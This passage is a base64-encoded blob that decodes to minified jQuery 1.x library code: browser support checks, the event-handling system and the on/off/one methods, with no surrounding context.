XNzTmFtZSIsInQiKSxiLmlubmVySFRNTD0iICA8bGluay8+PHRhYmxlPjwvdGFibGU+PGEgaHJlZj0nL2EnPmE8L2E+IixsLmxlYWRpbmdXaGl0ZXNwYWNlPTM9PT1iLmZpcnN0Q2hpbGQubm9kZVR5cGUsbC50Ym9keT0hYi5nZXRFbGVtZW50c0J5VGFnTmFtZSgidGJvZHkiKS5sZW5ndGgsbC5odG1sU2VyaWFsaXplPSEhYi5nZXRFbGVtZW50c0J5VGFnTmFtZSgibGluayIpLmxlbmd0aCxsLmh0bWw1Q2xvbmU9Ijw6bmF2PjwvOm5hdj4iIT09ei5jcmVhdGVFbGVtZW50KCJuYXYiKS5jbG9uZU5vZGUoITApLm91dGVySFRNTCxjLnR5cGU9ImNoZWNrYm94IixjLmNoZWNrZWQ9ITAsYS5hcHBlbmRDaGlsZChjKSxsLmFwcGVuZENoZWNrZWQ9Yy5jaGVja2VkLGIuaW5uZXJIVE1MPSI8dGV4dGFyZWE+eDwvdGV4dGFyZWE+IixsLm5vQ2xvbmVDaGVja2VkPSEhYi5jbG9uZU5vZGUoITApLmxhc3RDaGlsZC5kZWZhdWx0VmFsdWUsYS5hcHBlbmRDaGlsZChiKSxiLmlubmVySFRNTD0iPGlucHV0IHR5cGU9J3JhZGlvJyBjaGVja2VkPSdjaGVja2VkJyBuYW1lPSd0Jy8+IixsLmNoZWNrQ2xvbmU9Yi5jbG9uZU5vZGUoITApLmNsb25lTm9kZSghMCkubGFzdENoaWxkLmNoZWNrZWQsbC5ub0Nsb25lRXZlbnQ9ITAsYi5hdHRhY2hFdmVudCYmKGIuYXR0YWNoRXZlbnQoIm9uY2xpY2siLGZ1bmN0aW9uKCl7bC5ub0Nsb25lRXZlbnQ9ITF9KSxiLmNsb25lTm9kZSghMCkuY2xpY2soKSksbnVsbD09bC5kZWxldGVFeHBhbmRvKXtsLmRlbGV0ZUV4cGFuZG89ITA7dHJ5e2RlbGV0ZSBiLnRlc3R9Y2F0Y2goZCl7bC5kZWxldGVFeHBhbmRvPSExfX1hPWI9Yz1udWxsfSgpLGZ1bmN0aW9uKCl7dmFyIGIsYyxkPXouY3JlYXRlRWxlbWVudCgiZGl2Iik7Zm9yKGIgaW57c3VibWl0OiEwLGNoYW5nZTohMCxmb2N1c2luOiEwfSljPSJvbiIrYiwobFtiKyJCdWJibGVzIl09YyBpbiBhKXx8KGQuc2V0QXR0cmlidXRlKGMsInQiKSxsW2IrIkJ1YmJsZXMiXT1kLmF0dHJpYnV0ZXNbY10uZXhwYW5kbz09PSExKTtkPW51bGx9KCk7dmFyIFk9L14oPzppbnB1dHxzZWxlY3R8dGV4dGFyZWEpJC9pLFo9L15rZXkvLCQ9L14oPzptb3VzZXxjb250ZXh0bWVudSl8Y2xpY2svLF89L14oPzpmb2N1c2luZm9jdXN8Zm9jdXNvdXRibHVyKSQvLGFiPS9eKFteLl0qKSg/OlwuKC4rKXwpJC87ZnVuY3Rpb24gYmIoKXtyZXR1cm4hMH1mdW5jdGlvbiBjYigpe3JldHVybiExfWZ1bmN0aW9uIGRiKCl7dHJ5e3JldHVybiB6LmFjdGl2ZUVsZW1lbnR9Y2F0Y2goYSl7fX1uLmV2ZW50PXtnbG9iYWw6e30sYWRkOmZ1bmN0aW9uKGEsYixjLGQsZSl7dmFyIGYsZyxoLGksaixrLGwsbSxvLHAscSxyPW4uX2RhdGEoYSk7aWYocil7Yy5oYW5kbGVyJiYoaT1jLGM9aS5oYW5kbGVyLGU9aS5zZWxlY3RvciksYy5ndWlkfHwoYy5ndWlkPW4uZ3VpZCsrKSwoZz1yLmV2ZW50cyl8fChnPXIuZXZlbnRzPXt9KSwoaz1yLmhhbmRsZSl8fChrPXIuaGFuZGxlPWZ1bmN0aW9uKGEpe3JldHVybiB0eXBlb2Ygbj09PUx8fGEmJm4uZXZlbnQudHJpZ2dlcmVkPT09YS50eXBlP3ZvaWQgMDpuLmV2ZW50LmRpc3BhdGNoLmFwcGx5KGsuZWxlbSxhcmd1bWVudHMpfSxrLmVsZW09YSksYj0oYnx8IiIpLm1hdGNoKEYpfHxbIiJdLGg9Yi5sZW5ndGg7d2hpbGUoaC0tKWY9YWIuZXhlYyhiW2hdKXx8W10sbz1xPWZbMV0scD0oZlsyXXx8IiIpLnNwbGl0KCIuIikuc29ydCgpLG8mJihqPW4uZXZlbnQuc3BlY2lhbFtvXXx8e30sbz0oZT9qLmRlbGVnYXRlVHlwZTpqLmJpbmRUeXBlKXx8byxqPW4uZXZlbnQuc3BlY2lhbFtvXXx8e30sbD1uLmV4dGVuZCh7dHlwZTpvLG9yaWdUeXBlOnEsZGF0YTpkLGhhbmRsZXI6YyxndWlkOmMuZ3VpZCxzZWxlY3RvcjplLG5lZWRzQ29udGV4dDplJiZuLmV4cHIubWF0Y2gubmVlZHNDb250ZXh0LnRlc3QoZSksbmFtZXNwYWNlOnAuam9pbigiLiIpfSxpKSwobT1nW29dKXx8KG09Z1tvXT1bXSxtLmRlbGVnYXRlQ291bnQ9MCxqLnNldHVwJiZqLnNldHVwLmNhbGwoYSxkLHAsaykhPT0hMXx8KGEuYWRkRXZlbnRMaXN0ZW5lcj9hLmFkZEV2ZW50TGlzdGVuZXIobyxrLCExKTphLmF0dGFjaEV2ZW50JiZhLmF0dGFjaEV2ZW50KCJvbiIrbyxrKSkpLGouYWRkJiYoai5hZGQuY2FsbChhLGwpLGwuaGFuZGxlci5ndWlkfHwobC5oYW5kbGVyLmd1aWQ9Yy5ndWlkKSksZT9tLnNwbGljZShtLmRlbGVnYXRlQ291bnQrKywwLGwpOm0ucHVzaChsKSxuLmV2ZW50Lmdsb2JhbFtvXT0hMCk7YT1udWxsfX0scmVtb3ZlOmZ1bmN0aW9uKGEsYixjLGQsZSl7dmFyIGYsZyxoLGksaixrLGwsbSxvLHAscSxyPW4uaGFzRGF0YShhKSYmbi5fZGF0YShhKTtpZihyJiYoaz1yLmV2ZW50cykpe2I9KGJ8fCIiKS5tYXRjaChGKXx8WyIiXSxqPWIubGVuZ3RoO3doaWxlKGotLSlpZihoPWFiLmV4ZWMoYltqXSl8fFtdLG89cT1oWzFdLHA9KGhbMl18fCIiKS5zcGxpdCgiLiIpLnNvcnQoKSxvKXtsPW4uZXZlbnQuc3BlY2lhbFtvXXx8e30sbz0oZD9sLmRlbGVnYXRlVHlwZTpsLmJpbmRUeXBlKXx8byxtPWtbb118fFtdLGg9aFsyXSYmbmV3IFJlZ0V4cCgiKF58XFwuKSIrcC5qb2luKCJcXC4oPzouKlxcLnwpIikrIihcXC58JCkiKSxpPWY9bS5sZW5ndGg7d2hpbGUoZi0tKWc9bVtmXSwhZSYmcSE9PWcub3JpZ1R5cGV8fGMmJmMuZ3VpZCE9PWcuZ3VpZHx8aCYmIWgudGVzdChnLm5hbWVzcGFjZSl8fGQmJmQhPT1nLnNlbGVjdG9yJiYoIioqIiE9PWR8fCFnLnNlbGVjdG9yKXx8KG0uc3BsaWNlKGYsMSksZy5zZWxlY3RvciYmbS5kZWxlZ2F0ZUNvdW50LS0sbC5yZW1vdmUmJmwucmVtb3ZlLmNhbGwoYSxnKSk7aSYmIW0ubGVuZ3RoJiYobC50ZWFyZG93biYmbC50ZWFyZG93bi5jYWxsKGEscCxyLmhhbmRsZSkhPT0hMXx8bi5yZW1vdmVFdmVudChhLG8sci5oYW5kbGUpLGRlbGV0ZSBrW29dKX1lbHNlIGZvcihvIGluIGspbi5ldmVudC5yZW1vdmUoYSxvK2Jbal0sYyxkLCEwKTtuLmlzRW1wdHlPYmplY3QoaykmJihkZWxldGUgci5oYW5kbGUsbi5fcmVtb3ZlRGF0YShhLCJldmVudHMiKSl9fSx0cmlnZ2VyOmZ1bmN0aW9uKGIsYyxkLGUpe3ZhciBmLGcsaCxpLGssbCxtLG89W2R8fHpdLHA9ai5jYWxsKGIsInR5cGUiKT9iLnR5cGU6YixxPWouY2FsbChiLCJuYW1lc3BhY2UiKT9iLm5hbWVzcGFjZS5zcGxpdCgiLiIpOltdO2lmKGg9bD1kPWR8fHosMyE9PWQubm9kZVR5cGUmJjghPT1kLm5vZGVUeXBlJiYhXy50ZXN0KHArbi5ldmVudC50cmlnZ2VyZWQpJiYocC5pbmRleE9mKCIuIik+PTAmJihxPXAuc3BsaXQoIi4iKSxwPXEuc2hpZnQoKSxxLnNvcnQoKSksZz1wLmluZGV4T2YoIjoiKTwwJiYib24iK3AsYj1iW24uZXhwYW5kb10/YjpuZXcgbi5FdmVudChwLCJvYmplY3QiPT10eXBlb2YgYiYmYiksYi5pc1RyaWdnZXI9ZT8yOjMsYi5uYW1lc3BhY2U9cS5qb2luKCIuIiksYi5uYW1lc3BhY2VfcmU9Yi5uYW1lc3BhY2U/bmV3IFJlZ0V4cCgiKF58XFwuKSIrcS5qb2luKCJcXC4oPzouKlxcLnwpIikrIihcXC58JCkiKTpudWxsLGIucmVzdWx0PXZvaWQgMCxiLnRhcmdldHx8KGIudGFyZ2V0PWQpLGM9bnVsbD09Yz9bYl06bi5tYWtlQXJyYXkoYyxbYl0pLGs9bi5ldmVudC5zcGVjaWFsW3BdfHx7fSxlfHwhay50cmlnZ2VyfHxrLnRyaWdnZXIuYXBwbHkoZCxjKSE9PSExKSl7aWYoIWUmJiFrLm5vQnViYmxlJiYhbi5pc1dpbmRvdyhkKSl7Zm9yKGk9ay5kZWxlZ2F0ZVR5cGV8fHAsXy50ZXN0KGkrcCl8fChoPWgucGFyZW50Tm9kZSk7aDtoPWgucGFyZW50Tm9kZSlvLnB1c2goaCksbD1oO2w9PT0oZC5vd25lckRvY3VtZW50fHx6KSYmby5wdXNoKGwuZGVmYXVsdFZpZXd8fGwucGFyZW50V2luZG93fHxhKX1tPTA7d2hpbGUoKGg9b1ttKytdKSYmIWIuaXNQcm9wYWdhdGlvblN0b3BwZWQoKSliLnR5cGU9bT4xP2k6ay5iaW5kVHlwZXx8cCxmPShuLl9kYXRhKGgsImV2ZW50cyIpfHx7fSlbYi50eXBlXSYmbi5fZGF0YShoLCJoYW5kbGUiKSxmJiZmLmFwcGx5KGgsYyksZj1nJiZoW2ddLGYmJmYuYXBwbHkmJm4uYWNjZXB0RGF0YShoKSYmKGIucmVzdWx0PWYuYXBwbHkoaCxjKSxiLnJlc3VsdD09PSExJiZiLnByZXZlbnREZWZhdWx0KCkpO2lmKGIudHlwZT1wLCFlJiYhYi5pc0RlZmF1bHRQcmV2ZW50ZWQoKSYmKCFrLl9kZWZhdWx0fHxrLl9kZWZhdWx0LmFwcGx5KG8ucG9wKCksYyk9PT0hMSkmJm4uYWNjZXB0RGF0YShkKSYmZyYmZFtwXSYmIW4uaXNXaW5kb3coZCkpe2w9ZFtnXSxsJiYoZFtnXT1udWxsKSxuLmV2ZW50LnRyaWdnZXJlZD1wO3RyeXtkW3BdKCl9Y2F0Y2gocil7fW4uZXZlbnQudHJpZ2dlcmVkPXZvaWQgMCxsJiYoZFtnXT1sKX1yZXR1cm4gYi5yZXN1bHR9fSxkaXNwYXRjaDpmdW5jdGlvbihhKXthPW4uZXZlbnQuZml4KGEpO3ZhciBiLGMsZSxmLGcsaD1bXSxpPWQuY2FsbChhcmd1bWVudHMpLGo9KG4uX2RhdGEodGhpcywiZXZlbnRzIil8fHt9KVthLnR5cGVdfHxbXSxrPW4uZXZlbnQuc3BlY2lhbFthLnR5cGVdfHx7fTtpZihpWzBdPWEsYS5kZWxlZ2F0ZVRhcmdldD10aGlzLCFrLnByZURpc3BhdGNofHxrLnByZURpc3BhdGNoLmNhbGwodGhpcyxhKSE9PSExKXtoPW4uZXZlbnQuaGFuZGxlcnMuY2FsbCh0aGlzLGEsaiksYj0wO3doaWxlKChmPWhbYisrXSkmJiFhLmlzUHJvcGFnYXRpb25TdG9wcGVkKCkpe2EuY3VycmVudFRhcmdldD1mLmVsZW0sZz0wO3doaWxlKChlPWYuaGFuZGxlcnNbZysrXSkmJiFhLmlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkKCkpKCFhLm5hbWVzcGFjZV9yZXx8YS5uYW1lc3BhY2VfcmUudGVzdChlLm5hbWVzcGFjZSkpJiYoYS5oYW5kbGVPYmo9ZSxhLmRhdGE9ZS5kYXRhLGM9KChuLmV2ZW50LnNwZWNpYWxbZS5vcmlnVHlwZV18fHt9KS5oYW5kbGV8fGUuaGFuZGxlcikuYXBwbHkoZi5lbGVtLGkpLHZvaWQgMCE9PWMmJihhLnJlc3VsdD1jKT09PSExJiYoYS5wcmV2ZW50RGVmYXVsdCgpLGEuc3RvcFByb3BhZ2F0aW9uKCkpKX1yZXR1cm4gay5wb3N0RGlzcGF0Y2gmJmsucG9zdERpc3BhdGNoLmNhbGwodGhpcyxhKSxhLnJlc3VsdH19LGhhbmRsZXJzOmZ1bmN0aW9uKGEsYil7dmFyIGMsZCxlLGYsZz1bXSxoPWIuZGVsZWdhdGVDb3VudCxpPWEudGFyZ2V0O2lmKGgmJmkubm9kZVR5cGUmJighYS5idXR0b258fCJjbGljayIhPT1hLnR5cGUpKWZvcig7aSE9dGhpcztpPWkucGFyZW50Tm9kZXx8dGhpcylpZigxPT09aS5ub2RlVHlwZSYmKGkuZGlzYWJsZWQhPT0hMHx8ImNsaWNrIiE9PWEudHlwZSkpe2ZvcihlPVtdLGY9MDtoPmY7ZisrKWQ9YltmXSxjPWQuc2VsZWN0b3IrIiAiLHZvaWQgMD09PWVbY10mJihlW2NdPWQubmVlZHNDb250ZXh0P24oYyx0aGlzKS5pbmRleChpKT49MDpuLmZpbmQoYyx0aGlzLG51bGwsW2ldKS5sZW5ndGgpLGVbY10mJmUucHVzaChkKTtlLmxlbmd0aCYmZy5wdXNoKHtlbGVtOmksaGFuZGxlcnM6ZX0pfXJldHVybiBoPGIubGVuZ3RoJiZnLnB1c2goe2VsZW06dGhpcyxoYW5kbGVyczpiLnNsaWNlKGgpfSksZ30sZml4OmZ1bmN0aW9uKGEpe2lmKGFbbi5leHBhbmRvXSlyZXR1cm4gYTt2YXIgYixjLGQsZT1hLnR5cGUsZj1hLGc9dGhpcy5maXhIb29rc1tlXTtnfHwodGhpcy5maXhIb29rc1tlXT1nPSQudGVzdChlKT90aGlzLm1vdXNlSG9va3M6Wi50ZXN0KGUpP3RoaXMua2V5SG9va3M6e30pLGQ9Zy5wcm9wcz90aGlzLnByb3BzLmNvbmNhdChnLnByb3BzKTp0aGlzLnByb3BzLGE9bmV3IG4uRXZlbnQoZiksYj1kLmxlbmd0aDt3aGlsZShiLS0pYz1kW2JdLGFbY109ZltjXTtyZXR1cm4gYS50YXJnZXR8fChhLnRhcmdldD1mLnNyY0VsZW1lbnR8fHopLDM9PT1hLnRhcmdldC5ub2RlVHlwZSYmKGEudGFyZ2V0PWEudGFyZ2V0LnBhcmVudE5vZGUpLGEubWV0YUtleT0hIWEubWV0YUtleSxnLmZpbHRlcj9nLmZpbHRlcihhLGYpOmF9LHByb3BzOiJhbHRLZXkgYnViYmxlcyBjYW5jZWxhYmxlIGN0cmxLZXkgY3VycmVudFRhcmdldCBldmVudFBoYXNlIG1ldGFLZXkgcmVsYXRlZFRhcmdldCBzaGlmdEtleSB0YXJnZXQgdGltZVN0YW1wIHZpZXcgd2hpY2giLnNwbGl0KCIgIiksZml4SG9va3M6e30sa2V5SG9va3M6e3Byb3BzOiJjaGFyIGNoYXJDb2RlIGtleSBrZXlDb2RlIi5zcGxpdCgiICIpLGZpbHRlcjpmdW5jdGlvbihhLGIpe3JldHVybiBudWxsPT1hLndoaWNoJiYoYS53aGljaD1udWxsIT1iLmNoYXJDb2RlP2IuY2hhckNvZGU6Yi5rZXlDb2RlKSxhfX0sbW91c2VIb29rczp7cHJvcHM6ImJ1dHRvbiBidXR0b25zIGNsaWVudFggY2xpZW50WSBmcm9tRWxlbWVudCBvZmZzZXRYIG9mZnNldFkgcGFnZVggcGFnZVkgc2NyZWVuWCBzY3JlZW5ZIHRvRWxlbWVudCIuc3BsaXQoIiAiKSxmaWx0ZXI6ZnVuY3Rpb24oYSxiKXt2YXIgYyxkLGUsZj1iLmJ1dHRvbixnPWIuZnJvbUVsZW1lbnQ7cmV0dXJuIG51bGw9PWEucGFnZVgmJm51bGwhPWIuY2xpZW50WCYmKGQ9YS50YXJnZXQub3duZXJEb2N1bWVudHx8eixlPWQuZG9jdW1lbnRFbGVtZW50LGM9ZC5ib2R5LGEucGFnZVg9Yi5jbGllbnRYKyhlJiZlLnNjcm9sbExlZnR8fGMmJmMuc2Nyb2xsTGVmdHx8MCktKGUmJmUuY2xpZW50TGVmdHx8YyYmYy5jbGllbnRMZWZ0fHwwKSxhLnBhZ2VZPWIuY2xpZW50WSsoZSYmZS5zY3JvbGxUb3B8fGMmJmMuc2Nyb2xsVG9wfHwwKS0oZSYmZS5jbGllbnRUb3B8fGMmJmMuY2xpZW50VG9wfHwwKSksIWEucmVsYXRlZFRhcmdldCYmZyYmKGEucmVsYXRlZFRhcmdldD1nPT09YS50YXJnZXQ/Yi50b0VsZW1lbnQ6ZyksYS53aGljaHx8dm9pZCAwPT09Znx8KGEud2hpY2g9MSZmPzE6MiZmPzM6NCZmPzI6MCksYX19LHNwZWNpYWw6e2xvYWQ6e25vQnViYmxlOiEwfSxmb2N1czp7dHJpZ2dlcjpmdW5jdGlvbigpe2lmKHRoaXMhPT1kYigpJiZ0aGlzLmZvY3VzKXRyeXtyZXR1cm4gdGhpcy5mb2N1cygpLCExfWNhdGNoKGEpe319LGRlbGVnYXRlVHlwZToiZm9jdXNpbiJ9LGJsdXI6e3RyaWdnZXI6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcz09PWRiKCkmJnRoaXMuYmx1cj8odGhpcy5ibHVyKCksITEpOnZvaWQgMH0sZGVsZWdhdGVUeXBlOiJmb2N1c291dCJ9LGNsaWNrOnt0cmlnZ2VyOmZ1bmN0aW9uKCl7cmV0dXJuIG4ubm9kZU5hbWUodGhpcywiaW5wdXQiKSYmImNoZWNrYm94Ij09PXRoaXMudHlwZSYmdGhpcy5jbGljaz8odGhpcy5jbGljaygpLCExKTp2b2lkIDB9LF9kZWZhdWx0OmZ1bmN0aW9uKGEpe3JldHVybiBuLm5vZGVOYW1lKGEudGFyZ2V0LCJhIil9fSxiZWZvcmV1bmxvYWQ6e3Bvc3REaXNwYXRjaDpmdW5jdGlvbihhKXt2b2lkIDAhPT1hLnJlc3VsdCYmKGEub3JpZ2luYWxFdmVudC5yZXR1cm5WYWx1ZT1hLnJlc3VsdCl9fX0sc2ltdWxhdGU6ZnVuY3Rpb24oYSxiLGMsZCl7dmFyIGU9bi5leHRlbmQobmV3IG4uRXZlbnQsYyx7dHlwZTphLGlzU2ltdWxhdGVkOiEwLG9yaWdpbmFsRXZlbnQ6e319KTtkP24uZXZlbnQudHJpZ2dlcihlLG51bGwsYik6bi5ldmVudC5kaXNwYXRjaC5jYWxsKGIsZSksZS5pc0RlZmF1bHRQcmV2ZW50ZWQoKSYmYy5wcmV2ZW50RGVmYXVsdCgpfX0sbi5yZW1vdmVFdmVudD16LnJlbW92ZUV2ZW50TGlzdGVuZXI/ZnVuY3Rpb24oYSxiLGMpe2EucmVtb3ZlRXZlbnRMaXN0ZW5lciYmYS5yZW1vdmVFdmVudExpc3RlbmVyKGIsYywhMSl9OmZ1bmN0aW9uKGEsYixjKXt2YXIgZD0ib24iK2I7YS5kZXRhY2hFdmVudCYmKHR5cGVvZiBhW2RdPT09TCYmKGFbZF09bnVsbCksYS5kZXRhY2hFdmVudChkLGMpKX0sbi5FdmVudD1mdW5jdGlvbihhLGIpe3JldHVybiB0aGlzIGluc3RhbmNlb2Ygbi5FdmVudD8oYSYmYS50eXBlPyh0aGlzLm9yaWdpbmFsRXZlbnQ9YSx0aGlzLnR5cGU9YS50eXBlLHRoaXMuaXNEZWZhdWx0UHJldmVudGVkPWEuZGVmYXVsdFByZXZlbnRlZHx8dm9pZCAwPT09YS5kZWZhdWx0UHJldmVudGVkJiYoYS5yZXR1cm5WYWx1ZT09PSExfHxhLmdldFByZXZlbnREZWZhdWx0JiZhLmdldFByZXZlbnREZWZhdWx0KCkpP2JiOmNiKTp0aGlzLnR5cGU9YSxiJiZuLmV4dGVuZCh0aGlzLGIpLHRoaXMudGltZVN0YW1wPWEmJmEudGltZVN0YW1wfHxuLm5vdygpLHZvaWQodGhpc1tuLmV4cGFuZG9dPSEwKSk6bmV3IG4uRXZlbnQoYSxiKX0sbi5FdmVudC5wcm90b3R5cGU9e2lzRGVmYXVsdFByZXZlbnRlZDpjYixpc1Byb3BhZ2F0aW9uU3RvcHBlZDpjYixpc0ltbWVkaWF0ZVByb3BhZ2F0aW9uU3RvcHBlZDpjYixwcmV2ZW50RGVmYXVsdDpmdW5jdGlvbigpe3ZhciBhPXRoaXMub3JpZ2luYWxFdmVudDt0aGlzLmlzRGVmYXVsdFByZXZlbnRlZD1iYixhJiYoYS5wcmV2ZW50RGVmYXVsdD9hLnByZXZlbnREZWZhdWx0KCk6YS5yZXR1cm5WYWx1ZT0hMSl9LHN0b3BQcm9wYWdhdGlvbjpmdW5jdGlvbigpe3ZhciBhPXRoaXMub3JpZ2luYWxFdmVudDt0aGlzLmlzUHJvcGFnYXRpb25TdG9wcGVkPWJiLGEmJihhLnN0b3BQcm9wYWdhdGlvbiYmYS5zdG9wUHJvcGFnYXRpb24oKSxhLmNhbmNlbEJ1YmJsZT0hMCl9LHN0b3BJbW1lZGlhdGVQcm9wYWdhdGlvbjpmdW5jdGlvbigpe3RoaXMuaXNJbW1lZGlhdGVQcm9wYWdhdGlvblN0b3BwZWQ9YmIsdGhpcy5zdG9wUHJvcGFnYXRpb24oKX19LG4uZWFjaCh7bW91c2VlbnRlcjoibW91c2VvdmVyIixtb3VzZWxlYXZlOiJtb3VzZW91dCJ9LGZ1bmN0aW9uKGEsYil7bi5ldmVudC5zcGVjaWFsW2FdPXtkZWxlZ2F0ZVR5cGU6YixiaW5kVHlwZTpiLGhhbmRsZTpmdW5jdGlvbihhKXt2YXIgYyxkPXRoaXMsZT1hLnJlbGF0ZWRUYXJnZXQsZj1hLmhhbmRsZU9iajtyZXR1cm4oIWV8fGUhPT1kJiYhbi5jb250YWlucyhkLGUpKSYmKGEudHlwZT1mLm9yaWdUeXBlLGM9Zi5oYW5kbGVyLmFwcGx5KHRoaXMsYXJndW1lbnRzKSxhLnR5cGU9YiksY319fSksbC5zdWJtaXRCdWJibGVzfHwobi5ldmVudC5zcGVjaWFsLnN1Ym1pdD17c2V0dXA6ZnVuY3Rpb24oKXtyZXR1cm4gbi5ub2RlTmFtZSh0aGlzLCJmb3JtIik/ITE6dm9pZCBuLmV2ZW50LmFkZCh0aGlzLCJjbGljay5fc3VibWl0IGtleXByZXNzLl9zdWJtaXQiLGZ1bmN0aW9uKGEpe3ZhciBiPWEudGFyZ2V0LGM9bi5ub2RlTmFtZShiLCJpbnB1dCIpfHxuLm5vZGVOYW1lKGIsImJ1dHRvbiIpP2IuZm9ybTp2b2lkIDA7YyYmIW4uX2RhdGEoYywic3VibWl0QnViYmxlcyIpJiYobi5ldmVudC5hZGQoYywic3VibWl0Ll9zdWJtaXQiLGZ1bmN0aW9uKGEpe2EuX3N1Ym1pdF9idWJibGU9ITB9KSxuLl9kYXRhKGMsInN1Ym1pdEJ1YmJsZXMiLCEwKSl9KX0scG9zdERpc3BhdGNoOmZ1bmN0aW9uKGEpe2EuX3N1Ym1pdF9idWJibGUmJihkZWxldGUgYS5fc3VibWl0X2J1YmJsZSx0aGlzLnBhcmVudE5vZGUmJiFhLmlzVHJpZ2dlciYmbi5ldmVudC5zaW11bGF0ZSgic3VibWl0Iix0aGlzLnBhcmVudE5vZGUsYSwhMCkpfSx0ZWFyZG93bjpmdW5jdGlvbigpe3JldHVybiBuLm5vZGVOYW1lKHRoaXMsImZvcm0iKT8hMTp2b2lkIG4uZXZlbnQucmVtb3ZlKHRoaXMsIi5fc3VibWl0Iil9fSksbC5jaGFuZ2VCdWJibGVzfHwobi5ldmVudC5zcGVjaWFsLmNoYW5nZT17c2V0dXA6ZnVuY3Rpb24oKXtyZXR1cm4gWS50ZXN0KHRoaXMubm9kZU5hbWUpPygoImNoZWNrYm94Ij09PXRoaXMudHlwZXx8InJhZGlvIj09PXRoaXMudHlwZSkmJihuLmV2ZW50LmFkZCh0aGlzLCJwcm9wZXJ0eWNoYW5nZS5fY2hhbmdlIixmdW5jdGlvbihhKXsiY2hlY2tlZCI9PT1hLm9yaWdpbmFsRXZlbnQucHJvcGVydHlOYW1lJiYodGhpcy5fanVzdF9jaGFuZ2VkPSEwKX0pLG4uZXZlbnQuYWRkKHRoaXMsImNsaWNrLl9jaGFuZ2UiLGZ1bmN0aW9uKGEpe3RoaXMuX2p1c3RfY2hhbmdlZCYmIWEuaXNUcmlnZ2VyJiYodGhpcy5fanVzdF9jaGFuZ2VkPSExKSxuLmV2ZW50LnNpbXVsYXRlKCJjaGFuZ2UiLHRoaXMsYSwhMCl9KSksITEpOnZvaWQgbi5ldmVudC5hZGQodGhpcywiYmVmb3JlYWN0aXZhdGUuX2NoYW5nZSIsZnVuY3Rpb24oYSl7dmFyIGI9YS50YXJnZXQ7WS50ZXN0KGIubm9kZU5hbWUpJiYhbi5fZGF0YShiLCJjaGFuZ2VCdWJibGVzIikmJihuLmV2ZW50LmFkZChiLCJjaGFuZ2UuX2NoYW5nZSIsZnVuY3Rpb24oYSl7IXRoaXMucGFyZW50Tm9kZXx8YS5pc1NpbXVsYXRlZHx8YS5pc1RyaWdnZXJ8fG4uZXZlbnQuc2ltdWxhdGUoImNoYW5nZSIsdGhpcy5wYXJlbnROb2RlLGEsITApfSksbi5fZGF0YShiLCJjaGFuZ2VCdWJibGVzIiwhMCkpfSl9LGhhbmRsZTpmdW5jdGlvbihhKXt2YXIgYj1hLnRhcmdldDtyZXR1cm4gdGhpcyE9PWJ8fGEuaXNTaW11bGF0ZWR8fGEuaXNUcmlnZ2VyfHwicmFkaW8iIT09Yi50eXBlJiYiY2hlY2tib3giIT09Yi50eXBlP2EuaGFuZGxlT2JqLmhhbmRsZXIuYXBwbHkodGhpcyxhcmd1bWVudHMpOnZvaWQgMH0sdGVhcmRvd246ZnVuY3Rpb24oKXtyZXR1cm4gbi5ldmVudC5yZW1vdmUodGhpcywiLl9jaGFuZ2UiKSwhWS50ZXN0KHRoaXMubm9kZU5hbWUpfX0pLGwuZm9jdXNpbkJ1YmJsZXN8fG4uZWFjaCh7Zm9jdXM6ImZvY3VzaW4iLGJsdXI6ImZvY3Vzb3V0In0sZnVuY3Rpb24oYSxiKXt2YXIgYz1mdW5jdGlvbihhKXtuLmV2ZW50LnNpbXVsYXRlKGIsYS50YXJnZXQsbi5ldmVudC5maXgoYSksITApfTtuLmV2ZW50LnNwZWNpYWxbYl09e3NldHVwOmZ1bmN0aW9uKCl7dmFyIGQ9dGhpcy5vd25lckRvY3VtZW50fHx0aGlzLGU9bi5fZGF0YShkLGIpO2V8fGQuYWRkRXZlbnRMaXN0ZW5lcihhLGMsITApLG4uX2RhdGEoZCxiLChlfHwwKSsxKX0sdGVhcmRvd246ZnVuY3Rpb24oKXt2YXIgZD10aGlzLm93bmVyRG9jdW1lbnR8fHRoaXMsZT1uLl9kYXRhKGQsYiktMTtlP24uX2RhdGEoZCxiLGUpOihkLnJlbW92ZUV2ZW50TGlzdGVuZXIoYSxjLCEwKSxuLl9yZW1vdmVEYXRhKGQsYikpfX19KSxuLmZuLmV4dGVuZCh7b246ZnVuY3Rpb24oYSxiLGMsZCxlKXt2YXIgZixnO2lmKCJvYmplY3QiPT10eXBlb2YgYSl7InN0cmluZyIhPXR5cGVvZiBiJiYoYz1jfHxiLGI9dm9pZCAwKTtmb3IoZiBpbiBhKXRoaXMub24oZixiLGMsYVtmXSxlKTtyZXR1cm4gdGhpc31pZihudWxsPT1jJiZudWxsPT1kPyhkPWIsYz1iPXZvaWQgMCk6bnVsbD09ZCYmKCJzdHJpbmciPT10eXBlb2YgYj8oZD1jLGM9dm9pZCAwKTooZD1jLGM9YixiPXZvaWQgMCkpLGQ9PT0hMSlkPWNiO2Vsc2UgaWYoIWQpcmV0dXJuIHRoaXM7cmV0dXJuIDE9PT1lJiYoZz1kLGQ9ZnVuY3Rpb24oYSl7cmV0dXJuIG4oKS5vZmYoYSksZy5hcHBseSh0aGlzLGFyZ3VtZW50cyl9LGQuZ3VpZD1nLmd1aWR8fChnLmd1aWQ9bi5ndWlkKyspKSx0aGlzLmVhY2goZnVuY3Rpb24oKXtuLmV2ZW50LmFkZCh0aGlzLGEsZCxjLGIpfSl9LG9uZTpmdW5jdGlvbihhLGIsYyxkKXtyZXR1cm4gdGhpcy5vbihhLGIsYyxkLDEpfSxvZmY6ZnVuY3Rpb24oYSxiLGMpe3ZhciBkLGU7aWYoYSYmYS5wcmV2ZW50RGVmYXVsdCYmYS5oYW5kbGVPYmopcmV0dXJuIGQ9YS5oYW5kbGVPYmosbihhLmRlbGVnYXRlVGFyZ2V0KS5vZmYoZC5uYW1lc3BhY2U/ZC5vcmlnVHlwZSsiLiIrZC5uYW1lc3BhY2U6ZC5vcmlnVHlwZSxkLnNlbGVjdG9yLGQuaGFuZGxlciksdGhpcztpZigib2JqZWN0Ij09dHlwZW9mIGEpe2ZvcihlIGluIGEpdGhpcy5vZmYoZSxiLGFbZV0pO3JldHVybiB0aGlzfXJldHVybihiPT09ITF8fCJmdW5jdGlvbiI9PXR5cGVvZiBiKSYmKGM9YixiPXZvaWQgMCksYz09PSExJiYoYz1jYiksdGhpcy5lYWNoKGZ1bmN0aW9uKCl7bi5ldmVudC5yZW1vdmUodGhpcyxhLGMsYil9KX0sdHJpZ2dlcjpmdW5jdGlvbihhLGIpe3JldHVybiB0aGlzLmVhY2go